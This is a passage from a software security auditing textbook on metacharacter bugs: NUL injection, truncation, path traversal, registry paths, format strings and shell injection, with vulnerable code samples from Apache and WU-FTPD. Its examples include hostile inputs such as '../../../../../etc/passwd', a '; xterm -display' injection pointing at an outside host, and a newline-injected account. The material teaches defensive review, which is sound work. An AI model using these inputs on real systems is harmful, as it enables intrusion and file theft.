it. However, the code skips over the next two characters anytime it encounters an N character. An attacker can specify a header string ending with an N character, meaning an N character followed by a NUL character. Processing will continue past the NUL character to data in memory adjacent to the string being parsed. The vulnerable code path is demonstrated by the bolded lines in the listing. Simple Typos Text-processing vulnerabilities can occur because of simple errors that almost defy classification. Character processing is easy to mess up, and the more complex the code is, the more likely it is that a developer will make mistakes. One occasional mistake is a simple pointer use error, which happens when a developer accidentally dereferences a pointer incorrectly or doesn't dereference a pointer when necessary. These mistakes are often the result of simple typos, and they are particularly common when dealing with multiple levels of indirection. Listing 8-7 shows an example of a failure to dereference a pointer in Apache's mod_mime module. Listing 8-7. Text-Processing Error in Apache mod_mime while (quoted && *cp != '\0') { if (is_qtext((int) *cp) > 0) { cp++; } else if (is_quoted_pair(cp) > 0) { cp += 2; } ... This code block is in the analyze_ct() function, which is involved in parsing MIME (Multipurpose Internet Mail Extensions) content. If the is_quoted_pair() function returns a value greater than zero, the cp variable is incremented by two. The following code shows the definition of is_quoted_pair(): static int is_quoted_pair(char *s) { The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 423 int res = 1; int c; if (((s + 1) != NULL) && (*s == '\\')) { c = (int) *(s + 1); if (ap_isascii(c)) { res = 1; } } return (res); } Notice that the function is intended to check for an escape sequence of a backslash (\) followed by a non-NUL byte. However, the programmer forgot to dereference (s + 1); so the check will never fail because the result of the comparison is always true. This is a very subtle typojust a missing * characterbut it completely changes the meaning of the code, resulting in a potential vulnerability. 7.4.3 Metacharacters For many types of data, a program also maintains metadata (or meta-information) that it tracks alongside the main data; metadata is simply information that describes or augments the main data. It might include details on how to format data for display, processing instructions, or information on how pieces of the data are stored in memory. There are two basic strategies for representing program data alongside its associated metadata: embedding the metadata in-band or storing the metadata separately, out-of-band. In-band representation embeds metadata in the data itself. When embedding metadata in textual data, you indicate this information by using special characters called metacharacters or metacharacter sequences. One of the simplest examples of in-band representation is the NUL character terminator in a C string. Out-of-band representation keeps metadata separate from data and associates the two through some external mechanism. String data types in other languages provide a simple example of out-of-band data. Many programming languages (such as C++, Java, PHP, Python, and Pascal) do not have a string terminator character; instead these languages store the string's length in an out-of-band variable. In many ways, in-band representation is a superior format, as it is often more compact and human readable. However, there are a number of security pitfalls associated with in-band metadata representation that are not a concern for out-of-band metadata. These pitfalls exist because in-band representation creates the potential for overlapping trust domains where explicit boundaries are required. Essentially, in-band metadata representation places both data and metadata within The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 424 the same trust domain, and parsing routines must handle the logical trust boundaries that exist between data and metadata. However, parsing functions are often very complex, and it can be extremely difficult for developers to account for the security implications of all possible data and metadata combinations. So far, this chapter has discussed vulnerabilities that can result from mishandling a single in-band metacharacter: the NUL terminator character. However, there are a variety of in-band representations that are common in textual data formats. For example, a slash (/) metacharacter in a filename indicates the beginning or end of a path segment, a dot (.) metacharacter in a hostname indicates a subdomain, and a space metacharacter in an ASCII-based protocol often denotes the end of an input token. It's not unusual for applications to construct strings by incorporating user-controllable data, as in the following common situations:  Constructing a filename  Constructing a registry path (Windows-specific)  Constructing an e-mail address  Constructing an SQL statement  Adding user data to a text file The following sections examine the potential security ramifications of neglecting to carefully sanitize user input when constructing strings containing metacharacters. Although these sections cover only general situations, later in the chapter you focus on specific examples in contemporary applications, including notorious cases of metacharacter abuse. Embedded Delimiters The simplest case of metacharacter vulnerabilities occur when users can embed delimiter characters used to denote the termination of a field. Vulnerabilities of this nature are caused by insufficiently sanitized user input incorporated into a formatted string. For example, say you have a data file containing username and password pairs, with each line in the file in the format username:password. You can deduce that two delimiters are used: the colon (:) character and the newline (\n) character. What if you have the username bob, but could specify the password test\nnewuser:newpassword\n? The password entry would be written to the file like this: bob:test newuseruser:newpassword You can add an arbitrary new user account, which probably isn't what the developer intended for regular users. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 425 So what would a vulnerable application look like? Essentially, you're looking for a pattern in which the application takes user input that isn't filtered sufficiently and uses it as input to a function that interprets the formatted string. Note that this interpretation might not happen immediately; it might be written to a secondary storage facility and then interpreted later. An attack of this kind is sometimes referred to a "second-order injection attack." Note This phrase "second-order injection attack" has been coined to refer to delayed SQL and cross-site scripting attacks, but it could apply to any sort of stored metacharacter data that's interpreted later. To see an example of an application that's vulnerable to a basic delimiter injection attack, look at Listing 8-8, which contains the code that writes the password file shown previously. Listing 8-8. Embedded Delimiter Example use CGI; ... verify session details ... $new_password = $query->param('password'); open(IFH, "</opt/passwords.txt") || die("$!"); open(OFH, ">/opt/passwords.txt.tmp") || die("$!"); while(<IFH>){ ($user, $pass) = split /:/; if($user ne $session_username) print OFH "$user:$pass\n"; else print OFH "$user:$new_password\n"; } close(IFH); close(OFH); Listing 8-8 does no real sanitization; it simply writes the supplied password parameter to the file, so an attacker could add extraneous delimiters. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 426 In general, discovering vulnerabilities of this nature consists of a number of steps: 1. Identify some code that deals with metacharacter strings, including the common examples presented throughout this chapter. Web applications often have a variety of metacharacter strings because they constantly deal with URLs, session data, database queries, and so on. Some of these formats are covered in this chapter; however Web applications are covered in more depth in Chapters 17(? [????.]), "Web Applications," and 18(? [????.]), "Web Technologies." 2. Identify all the delimiter characters that are specially handled. Depending on the situation, different characters take on special meanings. In well-known examples such as format strings and SQL, this chapter specifies the characters you need to be aware of. However, for unique situations, you need to examine the code that interprets the data to find the special characters. 3. Identify any filtering performed on the input, and see what characters or character sequences are filtered (as described in "Input Filters" later in this chapter). 4. Eliminate potentially hazardous delimiter characters from your compiled list that have been filtered out successfully. Any remaining delimiters indicate a vulnerability. Using this simple procedure, you can quickly evaluate the construction of strings to determine what delimiters or special character sequences could be sneaked into input. The impact of being able to sneak delimiters into the string depends heavily on what the string represents and how it's interpreted. To see this technique in action, look at Listing 8-9, which is a CGI application being launched by a Web server: Listing 8-9. Multiple Embedded Delimiters BOOL HandleUploadedFile(char *filename) { unsigned char buf[MAX_PATH], pathname[MAX_PATH]; char *fname = filename, *tmp1, *tmp2; DWORD rc; HANDLE hFile; tmp1 = strrchr(filename, '/'); tmp2 = strrchr(filename, '\\'); if(tmp1 || tmp2) fname = (tmp1 > tmp2 ? tmp1 : tmp2) + 1; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 427 if(!*fname) return FALSE; if(strstr(fname, "..")) return FALSE; _snprintf(buf, sizeof(buf), "\\\\?\\%TEMP%\\%s", fname); rc = ExpandEnvironmentStrings(buf, pathname, sizeof(pathname)); if(rc == 0 || rc > sizeof(pathname)) return FALSE; hFile = CreateFile(pathname, ...); ... read bytes into the file ... } This code snippet handles an uploaded file from the client and stores the file in a specific temporary directory. Being able to store files outside this directory isn't desirable, of course, but is it safe? Apply the procedure shown previously: 1. Identify some code that deals with format strings. The input string is formatted a couple of ways before it eventually becomes a filename. First, it's added to a statically sized buffer and is prefixed with "\\\\?\\%TEMP%\\". Second, it's passed to ExpandEnvironmentStrings(), where presumably %TEMP% is expanded to a temporary directory. Finally, it's used as part of a filename. 2. Identify the set of delimiter characters that are specially handled. Primarily, you want to access a special file or achieve directory traversal, which would involve characters such as '/', '\' and the sequence "..". Also, notice that the string is passed to ExpandEnvironmentStrings(). Environment variables are denoted with % characters. Interesting! 3. Identify any filtering that's performed. The strrchr() function is used to find the last slash and then increments past it. Therefore, slashes are out. The code also specifically checks for the double-dot sequence "..", so that's out, too. 4. You have eliminated all the usual directory traversal tricks but are left with the % character that ExpandEnvironmentStrings() interprets. This interpretation allows arbitrary environment variables to be substituted in the pathname. Given that this code is a CGI program, clients could actually supply a number of environment The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 428 variables, such as QUERY_STRING. This environment variable could contain all the sequences that have already been checked for in the original filename. If "..\..\..\any\pathname\file.txt" is supplied to QUERY_STRING, the client can write to arbitrary locations on the file system. NUL Character Injection As you've seen, C uses the NUL metacharacter as a string delimiter, but higher-level languages (such as Java, PHP, and Perl) use counted strings, in which the string contains its length and the NUL character has no special meaning. This difference in interpretation creates situations where the NUL character can be injected to manipulate the behavior of C APIs called by higher level languages. This issue is really just a special case of an embedded delimiter, but it's unique enough that it helps to discuss it separately. Note NUL byte injection is an issue regardless of the technology because at some level, the counted string language might eventually interact with the OS. Even a true virtual machine environment, such as Java or .NET, eventually calls base OS functions to do things such as open and close files. You know that NUL-terminated strings are necessary when calling C routines from the OS and many external APIs. Therefore, a vulnerability may exist when attackers can include NUL characters in a string later handled as a C-style string. For example, say a Perl application opens a file based on some user-provided input. The application requires only text files, so the developer includes a filter requiring that the file end in a .txt extension. Figure 8-1 shows an example of a valid filename laid out in memory: Figure 8-1. C strings in memory However, what if one of the bytes is a NUL terminator character? After all, Perl doesn't treat the NUL character as a metacharacter. So the resulting string could look like Figure 8-2. Figure 8-2. C string with NUL-byte injection in memory The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 429 The function responsible for opening this file would consider the first NUL byte the end of the string, so the .txt extension would disappear and the bob file would be opened. This scenario is actually quite common in CGI and server-side Web scripting languages. The problems arise when decoding hexadecimal-encoded data (discussed in more depth in "Hexadecimal Decoding" later in this chapter). If the sequence %00 is encountered in input, it's decoded into a single NUL character. If the NUL character isn't handled correctly, attackers can artificially truncate strings while still meeting any other filtering requirements. The following Perl code is a simple example that could generate the altered file name shown Figure 8-2: open(FH, ">$username.txt") || die("$!"); print FH $data; close(FH); The username variable in this code isn't checked for NUL characters. Therefore, attackers can NUL terminate the string and create whatever file extensions they choose. The string in Figure 8-2 is just one example, but the NUL character could be used to exploit the server. For example, supplying execcmd.pl%00 for the username will create a file named execcmd.pl. A file with the .pl extension can be used to execute arbitrary code on many Web servers. Most C/C++ programs aren't prone to having NUL bytes injected into user data because they deal with strings as regular C-character arrays. However, there are situations in which unexpected NUL characters can appear in strings. This most commonly occurs when string data is read directly from the network, as shown in Listing 8-10. Listing 8-10. NUL-Byte Injection with Memory Corruption int read_string(int fd, char *buffer, size_t length) { int rc; char *p; if(length == 0) return 1; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 430 length--; rc = read(fd, buffer, length); if(rc <= 0) return 1; buffer[length] = '\0'; // trim trailing whitespace for(p = &buffer[strlen(buffer)-1]; isspace(*p); p--) *p = '\0'; return 0; } The read_string() function in Listing 8-10 reads a string and returns it to users after removing trailing whitespace. The developer makes the assumption, however, that the string includes a trailing newline and does not contain any NUL characters (except at the end). If the first byte is a NUL character, the code trims whitespace before the beginning of the buffer, which could result in memory corruption. The same can be said of dealing with files. When the read primitives are used to read a number of bytes into the buffer from a file, they too might be populated with unexpected NUL characters. This error can lead to problems like the one described previously in Listing 8-10. For example, the fgets() function, used for reading strings from files, is designed to read text strings from a file into a buffer. That is, it reads bytes into a file until one of the following happens:  It runs out of space in the destination buffer.  It encounters a newline character (\n) or end-of-file (EOF). So the fgets() function doesn't stop reading when it encounters a NUL byte. Because it's specifically intended to deal with strings, it can catch developers unaware sometimes. The following example illustrates how this function might be a problem: if(fgets(buffer, sizeof(buffer), fp) != NULL){ buffer[strlen(buffer)-1] = '\0'; ... } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 431 This code is written with the assumption that the trailing newline character must be stripped. However, if the first character is a NUL byte, this code writes another NUL byte before the beginning of the buffer, thus corrupting another variable or program control information. Truncation Truncation bugs are one of the most overlooked areas in format string handling, but they can have a variety of interesting results. Developers using memory-unsafe languages can dynamically resize memory at runtime to accommodate for user input or use statically sized buffers based on an expected maximum input length. In statically sizes buffers, input that exceeds the length of the buffer must be truncated to fit the buffer size and avoid buffer overflows. Although truncation avoids memory corruption, you might observe interesting side effects from data loss in the shortened input string. To see how this works, say that a programmer has replaced a call to sprintf() with a call to snprintf() to avoid buffer overflows, as in Listing 8-11. Listing 8-11. Data Truncation Vulnerability int update_profile(char *username, char *data) { char buf[64]; int fd; snprintf(buf, sizeof(buf), "/data/profiles/%s.txt", username); fd = open(buf, O_WRONLY); ... } The snprintf() function (shown in bold) in Listing 8-11 is safe from buffer overflows, but a potentially interesting side effect has been introduced: The filename can be a maximum of only 64 characters. Therefore, if the supplied username is close to or exceeds 60 bytes, the buffer is completely filled and the .txt extension is never appended. This result is especially interesting in a Web application because attackers could specify a new arbitrary file extension (such as .php) and then request the file directly from the Web server. The file would then be interpreted in a totally different manner than intended; for example, specifying a .php extension would cause the file to run as a PHP script. Note File paths are among the most common examples of truncation vulnerabilities; they can allow an attacker to cut off a mandatory component of the file path (for example, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 432 the file extension). The resulting path might avoid a security restriction the developer intended for the code. Listing 8-12 shows a slightly different example of truncating file paths. Listing 8-12. Data Truncation Vulnerability 2 int read_profile(char *username, char *data) { char buf[64]; int fd; snprintf(buf, sizeof(buf), "/data/%s_profile.txt", username); fd = open(buf, O_WRONLY); ... } For Listing 8-12, assume you want to read sensitive files in the /data/ directory, but they don't end in _profile.txt. Even though you can truncate the ending off the filename, you can't view the sensitive file unless the filename is exactly the right number of characters to fill up this buffer, right? The truth is it doesn't matter because you can fill up the buffer with slashes. In filename components, any number of contiguous slashes are seen as just a single path separator; for example, /////// and / are treated the same. Additionally, you can use the current directory entry (.) repetitively to fill up the buffer in a pattern such as this: ././././././. Auditing Tip Code that uses snprintf() and equivalents often does so because the developer wants to combine user-controlled data with static string elements. This use may indicate that delimiters can be embedded or some level of truncation can be performed. To spot the possibility of truncation, concentrate on static data following attacker-controllable elements that can be of excessive length. Another point to consider is the idiosyncrasies of API functions when dealing with data they need to truncate. You have already seen examples of low-level memory-related problems with functions in the strncpy() family, but you need to consider how every function behaves when it receives data that isn't going to fit in a destination buffer. Does it just overflow the destination buffer? If it truncates the data, does it correctly NUL-terminate the destination buffer? Does it have a way for the caller to know The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 433 whether it truncated data? If so, does the caller check for this truncation? You need to address these questions when examining functions that manipulate string data. Some functions don't behave as you'd expect, leading to potentially interesting results. For example, the GetFullPathName() function in Windows has the following prototype: DWORD GetFullPathName(LPCTSTR lpFileName, DWORD nBufferLength, LPTSTR lpBuffer, LPTSTR *lpFilePart) This function gets the full pathname of lpFileName and stores it in lpBuffer, which is nBufferLength TCHARs long. Then it returns the length of the path it outputs, or 0 on error. What happens if the full pathname is longer than nBufferLength TCHARs? The function leaves lpBuffer untouched (uninitialized) and returns the number of TCHARs required to hold the full pathname. So this failure case is handled in a very unintuitive manner. Listing 8-13 shows a correct calling of this function. Listing 8-13. Correct Use of GetFullPathName() DWORD rc; TCHAR buffer[MAX_PATH], *filepart; DWORD length = sizeof(buffer)/sizeof(TCHAR); rc = GetFullPathName(filename, length, buffer, &filepart); if(rc == 0 || rc > length) { ... handle error ... } As you have probably guessed, it's not uncommon for callers to mistakenly just check whether the return value is 0 and neglect to check whether the return code is larger than the specified length. As a result, if the lpFileName parameter is long enough, the call to GetFullPathName() doesn't touch the output buffer at all, and the program uses an uninitialized variable as a pathname. Listing 8-14 from the Apache 2.x codebase shows a vulnerable call of GetFullPathName(). Listing 8-14. GetFullPathName() Call in Apache 2.2.0 apr_status_t filepath_root_case(char **rootpath, char *root, apr_pool_t *p) { #if APR_HAS_UNICODE_FS IF_WIN_OS_IS_UNICODE { The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 434 apr_wchar_t *ignored; apr_wchar_t wpath[APR_PATH_MAX]; apr_status_t rv; apr_wchar_t wroot[APR_PATH_MAX]; /* ???: This needs review. Apparently "\\?\d:." * returns "\\?\d:" as if that is useful for * anything. */ if (rv = utf8_to_unicode_path(wroot, sizeof(wroot) / sizeof(apr_wchar_t), root)) return rv; if (!GetFullPathNameW(wroot, sizeof(wpath) / sizeof(apr_wchar_t), wpath, &ignored)) return apr_get_os_error(); /* Borrow wroot as a char buffer (twice as big as * necessary) */ if ((rv = unicode_to_utf8_path((char*)wroot, sizeof(wroot), wpath))) return rv; *rootpath = apr_pstrdup(p, (char*)wroot); } #endif return APR_SUCCESS; } You can see that the truncation case hasn't been checked for in Listing 8-14. As a result, the wroot variable can be used even though GetFullPathName() might not have initialized it. You might encounter other functions exhibiting similar behavior, so keep your eyes peeled! Note ExpandEnvironmentStrings() is one function that behaves similarly to GetFullPathName(). 7.4.4 Common Metacharacter Formats The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 435 In the previous section, you learned some basic issues with constructing metacharacter strings from user-malleable data. The following sections present specific issues with a number of common metacharacter formats. This is by no means an exhaustive list, but it addresses several of the most common formats. Exploring these formats should reinforce the discussion so far and provide the context needed to identify vulnerability cases in metacharacter formats not covered here. Path Metacharacters One of the most common cases of metacharacter vulnerabilities occurs when handling textual representations of path hierarchies. This vulnerability happens most often when programs access files on a file system, but it occurs in other situations too, such as accessing Windows registry keys. Many systems organize objects into some sort of hierarchy that can be represented textually by constructing a string with each hierarchical path component separated by a delimiter sequence. For file systems, this delimiter is typically a forward slash (/) character in UNIX or a backslash (\) character in Windows. The existence of these delimiter characters in untrusted input might cause vulnerabilities if a program doesn't handle them properly. Exploiting these vulnerabilities could allow an attacker access to objects the developer didn't intend. As a code auditor, you must identify when programs are accessing resources in an unsafe mannerthat is, when untrusted user input is used to build path components for a resource and when that input can be used to specify objects that shouldn't be accessible. As a quick test, it's a good idea to list resources the application should be able to access, and compare that list with what the application actually allows. When looking at code dealing with path canonicalization, keep in mind that the truncation issues introduced earlier are particularly relevant, as there's often the opportunity to cut off path elements, such as file extensions for files and subkeys for registry objects. File Canonicalization Applications often receive filenames or paths that are subsequently created or opened for processing. CGI scripts and server-side Web applications, HTTP servers, LPD servers, FTP servers, and privileged local processes are just a few examples of where you see filenames supplied from untrusted sources. Applications that neglect to adequately check untrusted filenames can end up revealing sensitive data to clients, or worse, allowing them to write data to files they shouldn't have access to, which could result in total system compromise. Each file in a file system has a basic string representation that uniquely identifies its location. This representation typically consists of a device name (optionally), followed by an absolute path, like so: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 436 C:\WINDOWS\system32\calc.exe The device is indicated by C:, followed by the absolute path where the file resides, \WINDOWS\system32, and the filename, calc.exe. Although this method is the simplest way to refer to that file, it certainly isn't the only way. In fact, there are many ways to refer to this same file, as shown in these examples: C:\WINDOWS\system32\drivers\..\calc.exe calc.exe .\calc.exe ..\calc.exe \\?\WINDOWS\system32\calc.exe The process of converting all these different representations into the simplest form is referred to as file canonicalization. When an application requests a file open operation, the kernel resolves the path and verifies permission at each hierarchical level until the destination file is found. However, an application might be at risk when building filenames of data from untrusted sourcesfor example, failing to correctly anticipate how the kernel resolves the requested file path. The subject of file canonicalization is a broad one and differs significantly in Windows and UNIX. For that reason, common issues are addressed in this section, and specifics of UNIX and Windows are covered in Chapters 9(? [????.]), "UNIX I: Privileges and Files," and 11(? [????.]) "Windows I: Objects and the File System." The most common exploitation of filenames happens if the application neglects to check for directory traversal. In this case, an attacker accesses the parent directory by using the path "..". When an application builds a pathname that incorporates user-controlled input, it can sometimes be manipulated into unintentionally creating or accessing files outside the subdirectory that file operations should have been restricted to. Applications are vulnerable to these problems when they fail to specifically check for directory traversal or neglect to fully canonicalize the pathname before validating that it's within the expected file system boundaries. Listing 8-15 shows a simple example in Perl. Listing 8-15. Directory Traversal Vulnerability use CGI; ... $username = $query->param('user'); open(FH, "</users/profiles/$username") || die("$!"); print "<B>User Details For: $username</B><BR><BR>"; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 437 while(<FH>){ print; print "<BR>" } close(FH); The script in Listing 8-15 attempts to open a user's profile, which is presumably located in the /users/profiles directory, but fails to do any sanitization on the username variable, which is pulled directly from the query string in the current Web request being serviced. This means attackers could simply specify the user name ../../../../../etc/passwd and use this script to print the password file (or any other file of their choosing). As mentioned, you can diagnose path handling issues by cross-referencing the resources a program requires with the resources it's actually capable of accessing. In Listing 8-15, the resources the program intends to access are user profiles (any files in the /users/profiles directory). However, given what you know about file system traversal, you can see that the resources accessible to this program potentially include any files on the system, depending on the user context of the process. The Windows Registry Windows operating systems use the Registry as a central repository of system-wide settings that software is free to query and manipulate for its own purposes. Following are the basic Windows registry manipulation functions:  RegOpenKey() and RegOpenKeyEx() These functions are used for opening a registry key that can subsequently be used in value queries.  RegQueryValue() and RegQueryValueEx() These functions are used to read data from a specified registry key.  RegCreateKey() and RegCreateKeyEx() These functions are used to create a new subkey.  RegDeleteKey(), RegDeleteKeyEx(), and RegDeleteValue() The first two functions are used to delete a subkey from the registry. RegDeleteValue() leaves the key intact but deletes the value associated with it. There are a few important considerations in handling registry paths. The first major concern is that truncation can occur when handling fixed buffers. Attackers might be able to cut off part of the key and trick the program into querying the wrong key. The following registry query is vulnerable to truncation: int get_subkey(char *version) { The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 438 HKEY hKey; long rc; char buffer[MAX_PATH]; snprintf(buffer, sizeof(buffer), "\\SOFTWARE\\MyProduct\\%s\\subkey2", version); rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, buffer, 0, KEY_READ, &hKey); if(rc != ERROR_SUCCESS) return 1; ... RegCloseKey(hKey); } This program reads a configuration parameter by using a version string supplied in data from a remote host. If the version string is long enough, it can fill the buffer and truncate the "subkey2" at the end. Like files, registry keys can have multiple slashes to separate subkey elements, so "\\SOFTWARE\\MyProduct" is equivalent to "\\SOFTWARE\\\\\\\\MyProduct" when accessing the key. Furthermore, trailing slashes are truncated as well, so "\\SOFTWARE\\MyProduct" is also equivalent to "\\SOFTWARE\\MyProduct\\\\\\\\". Therefore, any time untrusted data is used as part of a registry key, the danger of truncation exists. Note The subkey string supplied to RegOpenKey() and RegOpenKeyEx() can be at most MAX_PATH characters long. If the string is any longer, the function returns an error. As you might have guessed, if attackers can submit additional subkey separators (\), they can use them to query arbitrary subkeys or even the base key in the string. The one saving grace is that registry keys are opened in a two-step process: The key must be opened first, and then a particular value is manipulated with another set of functions. However, this two-step process doesn't discount the truncation vulnerability because the attack could still be viable in these situations:  The attacker can manipulate the key name directly.  The attacker wants to manipulate keys, not values. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 439  The application uses a higher-level API that abstracts the key value separation.  The attacker wants to manipulate the default (unnamed) value.  The value name corresponds to the value the attacker wants to manipulate in another key. C Format Strings Format strings are a class of bugs in the printf(), err(), and syslog() families of functions. All these functions convert and print data values of different types to a destination (a string or a filestream). The output data is formatted according to the format string, which contains literal data, and format specifiers that indicate where a data element should be inserted in the stream and what data type it should be converted and displayed as. These functions, therefore, take a variable number of arguments according to how many format specifiers are in the format string. The following code shows an example of calling the fprintf() function: if(open(filename, O_RDONLY) < 0){ fprintf(stderr, "[error]: unable to open filename: %s (%m)\n", filename); return(-1); } This code prints a string (the %s format specifier) and a system error (the %m format specifier). Note The %m format specifier is an exception to each format specifier having a corresponding argument. It prints a system error string based on the value of the global error indicator errno. Problems happen when untrusted input is used as part or all of the format string argument in any of the functions mentioned previously. Obviously, if users can supply format specifiers that weren't expected, the corresponding arguments don't exist and the values displayed are based on whatever random data happens to be on the program stack. This could allow users to see the program stack or even crash the program by using a format specifier that expects a corresponding pointer argument (such as %s, which expects a character pointer to exist on the stack). In addition, one format specifier causes even more problems: %n. The %n specifier is quite unique in that it doesn't cause any data to be written to the output stream; instead, it takes a The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 440 corresponding integer pointer argument that gets set to the number of characters output thus far. A legitimate use of %n looks like this: int num; printf("test%n", &num); // sets num to 4 The string test is printed and the number of output characters is written to num (in this case, four). However, this format specifier is quite useful for attackers. The %n specifier can be exploited to write an arbitrary value to an arbitrary location in memory, which usually results in execution of attacker-controlled code in the current process. When auditing code, you must ensure that any call to these functions doesn't have a format string derived from untrusted input. You might think a program allowing users to supply the format string isn't likely; after all, why would developers want users to be able to specify format conversions? However, it's happened in a number of applications. One of the most notable examples is in the SITE EXEC command of the popular WU-FTP daemon. The basic problem is that user-controlled data is passed to the lreply() function, as shown: lreply(200, cmd); In this code, the user directly controls the cmd variable. Listing 8-16 shows what happens in lreply(). Listing 8-16. Format String Vulnerability in WU-FTPD void lreply(int n, char *fmt,...) { VA_LOCAL_DECL if (!dolreplies) /* prohibited from doing long replies? */ return; VA_START(fmt); /* send the reply */ vreply(USE_REPLY_LONG, n, fmt, ap); VA_END; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 441 void vreply(long flags, int n, char *fmt, va_list ap) { char buf[BUFSIZ]; flags &= USE_REPLY_NOTFMT | USE_REPLY_LONG; if (n) /* if numeric is 0, don't output one; use n==0 in place of printfs */ sprintf(buf, "%03d%c", n, flags & USE_REPLY_LONG ? '-' : ' '); /* This is somewhat of a kludge for autospout. I think * that autospout should be done differently, but * that's not my department. -Kev */ if (flags & USE_REPLY_NOTFMT) snprintf(buf + (n ? 4 : 0), n ? sizeof(buf) - 4 : sizeof(buf), "%s", fmt); else vsnprintf(buf + (n ? 4 : 0), n ? sizeof(buf) - 4 : sizeof(buf), fmt, ap); ... } As you can see, the second argument to lreply() is a format string passed directly to vreply(); the vreply() function then passes the string as the format specifier to vsnprintf(). This example shows how format string vulnerabilities typically occur. They are most likely to happen when a function takes a variable number of arguments and passes that data to an API function for formatting. This type of code occurs most often for logging routines, as shown in Listing 8-17. Listing 8-17. Format String Vulnerability in a Logging Routine int log_error(char *fmt, ...) { char buf[BUFSIZ]; va_list ap; va_start(ap, fmt); vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap); syslog(LOG_NOTICE, buf); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 442 } Listing 8-17 shows a logging routine that format data and pass the result to syslog(). However, syslog() also performs formatting; so this code is vulnerable to a format string attack. Auditing Tip When attempting to locate format string vulnerabilities, search for all instances of printf(), err(), or syslog() functions that accept a nonstatic format string argument, and then trace the format argument backward to see whether any part can be controlled by attackers. If functions in the application take variable arguments and pass them unchecked to printf(), syslog(), or err() functions, search every instance of their use for nonstatic format string arguments in the same way you would search for printf() and so forth. Because locating format strings is a straightforward process, creating programs that can analyze code (both source and binary) and locate these vulnerabilities automatically isn't too difficult. Many static analysis tools have this capability, including those discussed in Chapter 2(? [????.]). Making use of these tools could be a helpful when verifying whether code is safe from format string attacks. Shell Metacharacters Often an application calls an external program to perform a task the external program specializes in, as in the following examples:  A CGI script launches a mail program to send collected form data.  Changing account information on a system might involve launching an editor (chpass, for example).  Scheduled execution daemons (cron and at) call programs scheduled to run as well as a mail program to send results (in some cases).  Server-side Web applications might call external programs to do some sort of back-end processing. These examples are only a few possibilities. External application execution happens often and can be prone to security problems. Programs are typically launched in two ways: running the program directly using a function such as execve() or CreateProcess(), or running it via the command shell with functions such as system() or popen(). Launching a process via the exec() system call replaces the currently The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 443 running process with the new one or perhaps spawns a new process instance (as with CreateProcess()), like so. char *progname = "/usr/bin/sendmail"; char *args[] = { "-s", "hi", "[email protected]" }; execve(progname, args, envp); In this instance, an application attempts to send an e-mail; however, after calling execve(), the current application is replaced with the sendmail process. This prevents the original process from writing the e-mail data. To accomplish this, the programmer must fork a new process and set up pipe descriptors. As another option, the program can just run sendmail via the shell popen() interface. The second option does all the pipe setup and handling internally and is much easier to code. Listing 8-18 shows an example. Listing 8-18. Shell Metacharacter Injection Vulnerability int send_mail(char *user) { char buf[1024]; FILE *fp; snprintf(buf, sizeof(buf), "/usr/bin/sendmail s \"hi\" %s", user); fp = popen(buf, "w"); if(fp == NULL) return 1; ... write mail ... } When opening commands with this method, any input is subject to interpretation by the shell, so there can be undesirable consequences if certain characters appear in the input stream. To understand these consequences better, return to the following line from Listing 8-18: snprintf(buf, sizeof(buf), "/usr/bin/sendmail s \"hi\" %s", user); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 444 When popen() runs this command, it actually constructs the following command line (assuming the supplied e-mail address is [email protected]): /bin/sh c "/usr/bin/sendmail s "hi" [email protected]" The program is being run via the command shell (sh), and any shell metacharacters just as if they were typed at the command line or in shell scripts. Returning to the previous example, what if the username is given as "[email protected]; xterm -- display 1.2.3.4:0"? The command line that popen() constructs now looks like this: /bin/sh c "/usr/bin/sendmail s "hi" [email protected]; xterm display 1.2.3.4:0" The semicolon (;) is interpreted as a command separator, so supplying this username doesn't just open sendmail as intended; it also sends an xterm to a remote host! Parsing shell metacharacters when using popen() and similar calls poses an imminent threat to an application when untrusted data is used to build the command line. When auditing applications that use shell capabilities, you need to determine whether arbitrary commands could be run via metacharacter injection. Because the shell has extensive scripting capabilities, quite a number of characters can be useful to attackers. The following list shows the usual suspects: Dangerous Shell Characters ; (separator) | (pipe) & (background) < (redirect) > (redirect) ` (evaluate) ! (not operator) - (argument switch) * (wildcard) / (slash) ? (question) ( (open parenthesis) ) (close parenthesis) . (wildcard) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 445 ; (separator) " " (space) [ (open bracket) ] (close bracket) "\t" (tab) ^ (caret) ~ (homedir) \ (escape) "\\" (backslash) ' (quote) " (double quote) "\r" (carriage return) "\n" (newline) $ (variable) Different shells interpret data differently, so this list isn't complete, but it covers the most common characters. Of course, not all these characters are dangerous in all situations. You also need to pay close attention to the application being launched. Some applications are inherently dangerous, depending on their function and how they are implemented. Often, you have restrictions on supplying data to these applications; however, the application that's being launched potentially represents a new point of exposure for the caller. (Remember: A chain is only as strong as its weakest link.) Additionally, the called application might have in-band control processing of its own. One notable example is the mail program, as shown in Listing 8-19. Listing 8-19. An Example of Dangerous Program Use int send_mail(char *name, char *email, char *address) { char buf[1024]; FILE *fp; snprintf(buf, sizeof(buf), "/usr/bin/mail %s", email); fp = poen(buf, "w"); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 446 if(fp == NULL) return 1; fprintf(fp, "Subject: web form\n\n"); fprintf(fp, "full 